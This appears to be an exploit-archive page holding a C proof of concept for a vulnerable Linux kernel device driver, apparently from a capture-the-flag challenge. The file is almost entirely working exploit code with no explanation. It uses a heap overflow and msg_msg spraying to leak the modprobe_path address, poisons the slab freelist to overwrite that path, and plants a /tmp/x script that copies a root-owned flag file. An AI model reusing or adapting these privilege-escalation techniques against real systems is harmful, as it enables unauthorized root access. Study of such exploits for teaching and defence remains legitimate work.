4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/syscall.h>

#define PAGE_SIZE 4096
#define SLAB_NAME "kmalloc-128"
#define MSG_COPY 040000

int fd = -1;
unsigned long modprobe_path = 0;
char* script_path = "/tmp/x\x00"; 
unsigned long queue;
int qid[4];

void open_dev(){
	fd = open("/dev/vuln", O_RDWR);
	if(fd < 0){
		puts("[!] Error opening device");
		exit(-1);
	}
	puts("[*] Opened device");
}

void dev_write(char* buf, size_t n){
	if(write(fd, buf, n)<0) {
		puts("[!] Error writing to device");
		//exit(-1);
	} else {
		puts("[*] Wrote to device");
	}
}

#define HEADER_SZ 48
#define MSIZE 128-HEADER_SZ

struct {
	long mtype;
	char mtext[MSIZE];
} msg;

int make_q(int type) {
	msg.mtype = type;
	int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
	if(id == -1) {
		perror("msgget");
		return -1;
	}
	return id;
}

void send_msg(int qid, int size, int c) {
	size_t msize = size - HEADER_SZ;
	struct {
		long mtype;
		char mtext[msize];
		} msg;
	msg.mtype = 1;
	memset(msg.mtext, c, msize);
	msg.mtext[msize-1] = 0;
	if(msgsnd(qid, &msg, msize, 0) == -1) {
		perror("msgsnd");
		exit(1);
	}
}

void hex_dump(char *buff, unsigned long size) {
	int i,j;
	for (i = 0; i < size/8; i++) {
		if(i % 2 == 0) {
			if (i != 0)
				printf("  \n");
		printf("  %04x  ", i*8);
		}
		unsigned long ptr = ((unsigned long *)(buff))[i];
		printf("0x%016lx", ptr);
		printf("    ");
	}
	printf("\n");
}

void check_slab(char *slab_name, int *active, int *total) {
	FILE *fp;
	char buff[1024], name[64];
	int active_num, total_num;
	fp = fopen("/proc/slabinfo", "r");
	if (!fp) {
		perror("fopen");
		return;
	}
	while (fgets(buff, 1024, fp) != NULL) {
		sscanf(buff, "%s %u %u", name, &active_num, &total_num);
		if (!strcmp(slab_name, name)) {
			*active = active_num;
			*total = total_num;
			return;
		}
	}
}

void print_slab_info() {
	int total_num, active_num;
	check_slab(SLAB_NAME, &active_num, &total_num);
	printf("[+] Checking slab total: %d active: %d free: %d\n",
		total_num, active_num, total_num-active_num);
}

void warm_heap(int n) {
	memset(msg.mtext, 0x69, MSIZE-1);
	msg.mtext[MSIZE-1] = 0;
	msg.mtype = 2;
	int msqids[n];
	size_t i;
	printf("[*] Allocating %d msg_msg\n", n);
	for(i=0; i<n; i++) {
			msqids[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
			if (msgsnd(msqids[i], &msg, sizeof(msg.mtext), 0) != 0)
				printf("[*] Error with msgsnd %d in warm_heap\n", msqids[i]);
	}
	printf("[*] Freeing %d msg_msg\n", n);
	for(i=0; i<n; i++) {
		if (msgrcv(msqids[i], &msg.mtext, sizeof(msg.mtext), 0, 0) == -1)
			printf("[*] Error with msgrcv %d in spray_heap\n", msqids[i]);
	}
}

unsigned long evil[60];

void leak() {
	// create buffer to overflow with:
	size_t evilsz = 160;
	memset(evil, 0, evilsz);
	for(size_t i=0; i<12; i++){
		evil[i] = 0xa;  // make driver stop parsing params
	}	
	evil[16] = (unsigned long)0x4141414141414141;
	evil[17] = (unsigned long)0x4242424242424242; // struct list_head m_list;
	evil[18] = (unsigned long)0x000; // long m_type;
	int leak_sz = 0x200;
	evil[19] = leak_sz; // size_t m_ts;
	qid[0] = make_q(1);
	qid[1] = make_q(1);
	qid[2] = make_q(1);
	send_msg(qid[0], 128, 0x40);
	send_msg(qid[1], 128, 0x41);
	send_msg(qid[2], 128, 0x42);
	send_msg(qid[2], 8184, 0x43);
	socket(22, AF_INET, 0);
	/*
	 * 0 : will be replaced with victim
	 * 1 : overflowed
	 * 2 list head next ---> (B) k4096 header msg_next --> k4096 data
	 * 3 socket -> modprobe leak
	 **/
	char buff[80];
	// free and replace message with victim buffer to overflow
	msgrcv(qid[0], buff, 80, 1, MSG_NOERROR | IPC_NOWAIT);
	dev_write((char*)evil, evilsz);
	puts("[*] Wrote into freed buffer");
	char* leaked = (char*)calloc(leak_sz, 1);
	int res = msgrcv(qid[1], leaked, leak_sz, 0, MSG_COPY | IPC_NOWAIT);
	if(res>80) {
		//hex_dump(leaked, leak_sz);
		unsigned long leaked_addr[leak_sz/sizeof(unsigned long)];
		memcpy(leaked_addr, leaked, leak_sz);
		printf("[*] Modprobe_path: 0x%lx\n", leaked_addr[32]);
		modprobe_path = leaked_addr[32];
	} else {
		puts("[!] Error overwriting m_ts ");
	}
}

void make_script() {
	system("echo '#!/bin/sh\ncp /root/flag /home/ctf/flag\nchmod 777 /home/ctf/flag' > /tmp/x ");
	system("chmod +x /tmp/x");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
	system("chmod +x /tmp/dummy");
	system("/tmp/dummy");
}

void arb_write() {
	memset(evil, 0, 50*sizeof(unsigned long));
	for(size_t i=0; i<12; i++){
		evil[i] = 0xa;  // make driver stop parsing params
	}   
	evil[24] = modprobe_path-48;
	evil[40] = modprobe_path-48;
	evil[56] = modprobe_path-48; 
	puts("[*] Overwriting freelist pointer");
	warm_heap(80);
	dev_write((char*)evil, sizeof(unsigned long)*56);

	struct {
		long mtype;
		char mtext[MSIZE];
		} msg;
	msg.mtype = 3;
	memset(msg.mtext, 0x0, MSIZE);
	memcpy(msg.mtext, script_path, 6);
	for(size_t i=0; i<30; i++){
		if(msgsnd(qid[2], &msg, MSIZE, 0) == -1) {
			perror("msgsnd");
			exit(1);
		}
	}
}

int main() {
	open_dev();
	leak();
	if(modprobe_path) {
		arb_write();
		make_script();
	} else {
		puts("[*] Offset not found");
	}
}